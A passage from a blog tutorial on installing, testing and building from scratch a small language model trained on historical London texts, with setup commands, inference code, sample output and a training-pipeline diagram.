&lt;figure id=&#34;listing1&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python -m pip install -U pip setuptools wheel
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python -m pip install &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;transformers[torch]&amp;#34;&lt;/span&gt; accelerate safetensors&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 1: Install Required Dependencies&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Note:&lt;/em&gt; It is recommended to use a virtual environment or conda environment to avoid dependency conflicts. See the GitHub repo for complete setup instructions.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;If you don&amp;rsquo;t have the code repo yet, you can run the commands in &lt;a href=&#34;#listing2&#34; class=&#34;listing-ref&#34;&gt;Listing 2&lt;/a&gt; directly and run inference from Hugging Face.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Python Code:&lt;/strong&gt;&lt;/p&gt;
&lt;figure id=&#34;listing2&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;from&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;transformers&lt;/span&gt; &lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; AutoTokenizer, AutoModelForCausalLM
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Load the published SLM model&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;model_name &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;bahree/london-historical-slm&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tokenizer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoTokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(model_name)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;model &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoModelForCausalLM&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(model_name)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Generate historical text&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;prompt &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;In the year of our Lord 1834, I walked through the streets of London and witnessed&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;inputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer(prompt, return_tensors&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;pt&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;outputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;generate(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inputs[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;input_ids&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    max_new_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;100&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    do_sample&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    temperature&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0.3&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    top_p&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0.9&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    top_k&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;20&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    repetition_penalty&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1.2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;decode(outputs[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;], skip_special_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 2: Load and Test Published Model&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h3 id=&#34;21-local-testing-with-the-complete-codebase&#34;&gt;2.1 Local Testing with the Complete Codebase&lt;/h3&gt;
&lt;p&gt;Now that you&amp;rsquo;ve seen the models work directly from Hugging Face, let&amp;rsquo;s explore the complete development experience by working with the actual codebase. This section walks you through testing the models locally using the same infrastructure that was used to train them.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;helloLondon&lt;/code&gt; repository contains everything needed to reproduce the entire pipeline - from data collection through model deployment. By running these tests locally, you&amp;rsquo;ll get hands-on experience with the inference scripts and understand how the models integrate with the broader development workflow.&lt;/p&gt;
&lt;p&gt;The following examples assume you&amp;rsquo;ve cloned the repository and are running from the root directory. All scripts are designed to work out-of-the-box with the published models, giving you immediate access to the same testing infrastructure used during development. You can test the models using &lt;a href=&#34;#listing3&#34; class=&#34;listing-ref&#34;&gt;Listing 3&lt;/a&gt; or &lt;a href=&#34;#listing4&#34; class=&#34;listing-ref&#34;&gt;Listing 4&lt;/a&gt;.&lt;/p&gt;
&lt;figure id=&#34;listing3&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Test SLM model (117M parameters)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python 06_inference/test_published_models.py --model_type slm
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Test Regular model (354M parameters)  &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python 06_inference/test_published_models.py --model_type regular&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 3: Test SLM Model&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;There is also an interactive mode where you can type in your own prompts and see the model generate text.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Interactive Testing:&lt;/strong&gt;&lt;/p&gt;
&lt;figure id=&#34;listing4&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# SLM model - Interactive mode&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python 06_inference/inference_unified.py --published --model_type slm --interactive
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Regular model - Interactive mode&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python 06_inference/inference_unified.py --published --model_type regular --interactive
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Single prompt testing&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python 06_inference/inference_unified.py --published --model_type slm --prompt &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;In the year 1834, I walked through the streets of London and witnessed&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python 06_inference/inference_unified.py --published --model_type regular --prompt &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;In the year 1834, I walked through the streets of London and witnessed&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 4: Interactive Mode Testing&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;If everything works, you should see output similar to the following for the SLM model:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example Output ( Hugging Face SLM Example):&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;🧪&lt;/span&gt; Testing SLM Model: bahree&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt;london&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;historical&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&lt;/span&gt;slm
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;============================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;📂&lt;/span&gt; Loading model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;✅&lt;/span&gt; Model loaded &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;8.91&lt;/span&gt; seconds
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;📊&lt;/span&gt; Model Info:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   Type: SLM
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   Description: Small Language Model (&lt;span style=&#34;color:#f5a97f&#34;&gt;117&lt;/span&gt;M parameters)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   Device: cuda
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   Vocabulary size: &lt;span style=&#34;color:#f5a97f&#34;&gt;30&lt;/span&gt;,&lt;span style=&#34;color:#f5a97f&#34;&gt;000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   Max length: &lt;span style=&#34;color:#f5a97f&#34;&gt;512&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;---&lt;/span&gt; Test &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;10&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Prompt: In the year &lt;span style=&#34;color:#f5a97f&#34;&gt;1834&lt;/span&gt;, I walked through the streets of London &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;and&lt;/span&gt; witnessed
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Generated: a scene &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; which some of those who did &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;not&lt;/span&gt; incline to come &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; contact with him took part &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; his discourse&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt; It was on this occasion that I perceived that he had been engaged &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; some new business connected with the house, but &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; some days it had &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;not&lt;/span&gt; taken place, nor did he appear so desirous of pursuing any further display of interest &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.....&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Time: &lt;span style=&#34;color:#f5a97f&#34;&gt;5.75&lt;/span&gt;s&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Notice how the model captures:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Period-appropriate language&lt;/strong&gt; (&amp;ldquo;thank &amp;rsquo;ee kindly,&amp;rdquo; &amp;ldquo;bade me go,&amp;rdquo; &amp;ldquo;spectacles&amp;rdquo;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Historical dialogue patterns&lt;/strong&gt; (formal speech, period-appropriate contractions)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Historical context&lt;/strong&gt; (West Indies, poor rates, needle work, pocket-book)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Authentic historical narrative&lt;/strong&gt; (detailed scene setting, period-appropriate social interactions)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now that we have tried using the model, let&amp;rsquo;s explore option 2 and see how we can build it. Once you&amp;rsquo;ve built your own model, you&amp;rsquo;ll be able to test it using the checkpoints saved during training - see section 7.4 for detailed checkpoint testing instructions.&lt;/p&gt;
&lt;h2 id=&#34;3-build-the-models---from-scratch&#34;&gt;3. Build the models - From Scratch&lt;/h2&gt;
&lt;p&gt;Building a language model from scratch is both an art and a science - requiring careful orchestration of data, architecture, and training to create something that can genuinely understand and generate historical text. Unlike fine-tuning existing models, training from scratch gives us complete control over every aspect of the model&amp;rsquo;s knowledge and behavior.&lt;/p&gt;
&lt;p&gt;The journey from raw historical documents to a working language model involves six critical phases, each building upon the previous one. The flowchart below illustrates this complete end-to-end pipeline, showing how we transform 218+ historical sources into two specialized models that can generate authentic medieval London text.&lt;/p&gt;
&lt;figure class=&#34;align-center &#34; id=&#34;fig1&#34;&gt;
    &lt;pre class=&#34;mermaid&#34;&gt;graph TD
    A[📚 Historical Data Collection&amp;lt;br/&amp;gt;218+ sources, 1500-1850] --&amp;gt; B[🧹 Data Cleaning &amp;amp; Processing&amp;lt;br/&amp;gt;Text normalization, filtering]
    B --&amp;gt; C[🔤 Custom Tokenizer Training&amp;lt;br/&amp;gt;30k vocab + 150+ special tokens]
    C --&amp;gt; D[🏋️ Model Training&amp;lt;br/&amp;gt;Two Identical Models&amp;lt;br/&amp;gt;SLM: 117M / Regular: 354M]
    D --&amp;gt; E[📊 Evaluation &amp;amp; Testing&amp;lt;br/&amp;gt;Historical accuracy, ROUGE, MMLU]
    E --&amp;gt; F[🚀 Deployment&amp;lt;br/&amp;gt;Hugging Face + Local Inference]
    
    G[📖 Building a Custom LLM] --&amp;gt; A
    
    F --&amp;gt; L[🎯 Use Cases&amp;lt;br/&amp;gt;Historical text generation&amp;lt;br/&amp;gt;Educational projects&amp;lt;br/&amp;gt;Research applications]
    
    style A fill:#e1f5fe
    style D fill:#f3e5f5
    style F fill:#e8f5e8
    style G fill:#fff3e0&lt;/pre&gt;
    &lt;figcaption&gt;Figure 1: Complete LLM Development Pipeline&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Now that we have a bird&amp;rsquo;s eye view of the complete pipeline, let us get into the details and build the model from scratch. I am going to walk you through the complete process step-by-step.&lt;/p&gt;
&lt;p&gt;I am also going to assume you have a basic understanding of Python, PyTorch, and command-line operations and have a more recent dev setup, including a relatively modern GPU (NVIDIA RTX 3060 or better recommended). For the sake of simplicity, I will show commands for Linux/macOS, but Windows users can easily adapt them.&lt;/p&gt;
&lt;p&gt;Again, as a reminder, the ⚙️ &lt;a
	
		href = &#34;https://github.com/bahree/helloLondon/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		GitHub repo
	&lt;/span&gt;
&lt;/a&gt; has all the code and instructions you need to get started. You can clone the repo and follow along.&lt;/p&gt;
&lt;h2 id=&#34;4-environment-and-configuration-setup&#34;&gt;4. Environment and Configuration Setup&lt;/h2&gt;
&lt;p&gt;The foundation of any successful machine learning project lies in proper environment setup and configuration. This step involves creating a virtual environment, installing dependencies, and configuring the project structure. Understanding the key configuration files, directory organization, and overall project architecture is crucial - these elements form the backbone of the entire training process. Taking time to get this right upfront prevents countless headaches and debugging sessions later, ensuring smooth execution through all subsequent phases.&lt;/p&gt;
&lt;h3 id=&#34;41-key-configuration-files&#34;&gt;4.1 Key Configuration Files&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;config.py&lt;/code&gt;&lt;/strong&gt;: Central configuration system (paths, training settings, tokenizer config)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;01_environment/setup_environment.py&lt;/code&gt;&lt;/strong&gt;: Environment setup script (reads from config.py)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;requirements.txt&lt;/code&gt;&lt;/strong&gt;: Python dependencies (auto-generated by setup script)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;42-important-directories-created-by-setup&#34;&gt;4.2 Important Directories (Created by Setup)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;helloLondon/&lt;/code&gt;&lt;/strong&gt;: Virtual environment directory&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;data/london_historical/&lt;/code&gt;&lt;/strong&gt;: Historical text data storage&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;09_models/checkpoints/&lt;/code&gt;&lt;/strong&gt;: Model checkpoints during training&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;09_models/tokenizers/&lt;/code&gt;&lt;/strong&gt;: Custom tokenizer storage&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now that we have that out of the way, let us run the setup commands as shown in &lt;a href=&#34;#listing5&#34; class=&#34;listing-ref&#34;&gt;Listing 5&lt;/a&gt;. This will clone the repo, set up the environment, and install all dependencies. For this to work you will already have git, python, and &lt;code&gt;python3-venv&lt;/code&gt; installed. If you don&amp;rsquo;t have these, please install them first.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;PS: See the &lt;a
	
		href = &#34;https://github.com/bahree/helloLondon/blob/main/README.md&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Training QuickStart guide
	&lt;/span&gt;
&lt;/a&gt; in the GitHub repo for more details.&lt;/p&gt;&lt;/blockquote&gt;
&lt;figure id=&#34;listing5&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Clone and setup environment&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git clone https://github.com/bahree/helloLondon/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;cd&lt;/span&gt; helloLondon
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python 01_environment/setup_environment.py
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;source&lt;/span&gt; activate_env.sh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 5: Clone and Setup Repository&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;As you run the setup script, you should see output similar to the images shown below; the script will create a virtual environment, install dependencies, and set up necessary directories. And then you can activate the environment using the &lt;code&gt;source activate_env.sh&lt;/code&gt; command.&lt;/p&gt;
&lt;figure&gt;
&lt;img src=&#34;images/env11.png&#34; alt=&#34;Environment setup - 1 of 3&#34; title=&#34;Environment setup - 1/3&#34;&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 2:&lt;/strong&gt; Environment setup process - Step 1 of 3 showing virtual environment creation&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure&gt;
&lt;img src=&#34;images/env12.png&#34; alt=&#34;Environment setup - 2 of 3&#34; title=&#34;Environment setup - 2/3&#34;&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 3:&lt;/strong&gt; Environment setup process - Step 2 of 3 showing dependency installation&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure&gt;
&lt;img src=&#34;images/env13.png&#34; alt=&#34;Environment setup - 3 of 3&#34; title=&#34;Environment setup - 3/3&#34;&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 4:&lt;/strong&gt; Environment setup process - Step 3 of 3 showing final configuration&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Now that the configuration and environment are set up, we can validate them by running the following command. This will check if everything is working and you have the necessary dependencies installed.&lt;/p&gt;
&lt;p&gt;When one activates the environment using &lt;strong&gt;&lt;code&gt;source activate_env.sh&lt;/code&gt;&lt;/strong&gt;, you will see it in the console as shown below.&lt;/p&gt;
&lt;p&gt;The default environment name is called &lt;strong&gt;&lt;code&gt;helloLondon&lt;/code&gt;&lt;/strong&gt;. If you want to change the environment name from &lt;code&gt;helloLondon&lt;/code&gt; to something else, you can modify the &lt;code&gt;venv_name&lt;/code&gt; field in &lt;code&gt;environment_config.json&lt;/code&gt; before running the setup script. This will create a virtual environment with your preferred name.&lt;/p&gt;
&lt;figure id=&#34;listing6&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python3 -c &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;from config import config
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;print(&amp;#39;🔧 Configuration Overview&amp;#39;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;print(&amp;#39;=&amp;#39; * 50)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;print(f&amp;#39;Project Root: {config.project_root}&amp;#39;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;print(f&amp;#39;Data Directory: {config.london_historical_data}&amp;#39;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;print(f&amp;#39;Tokenizer Directory: {config.london_tokenizer_dir}&amp;#39;)
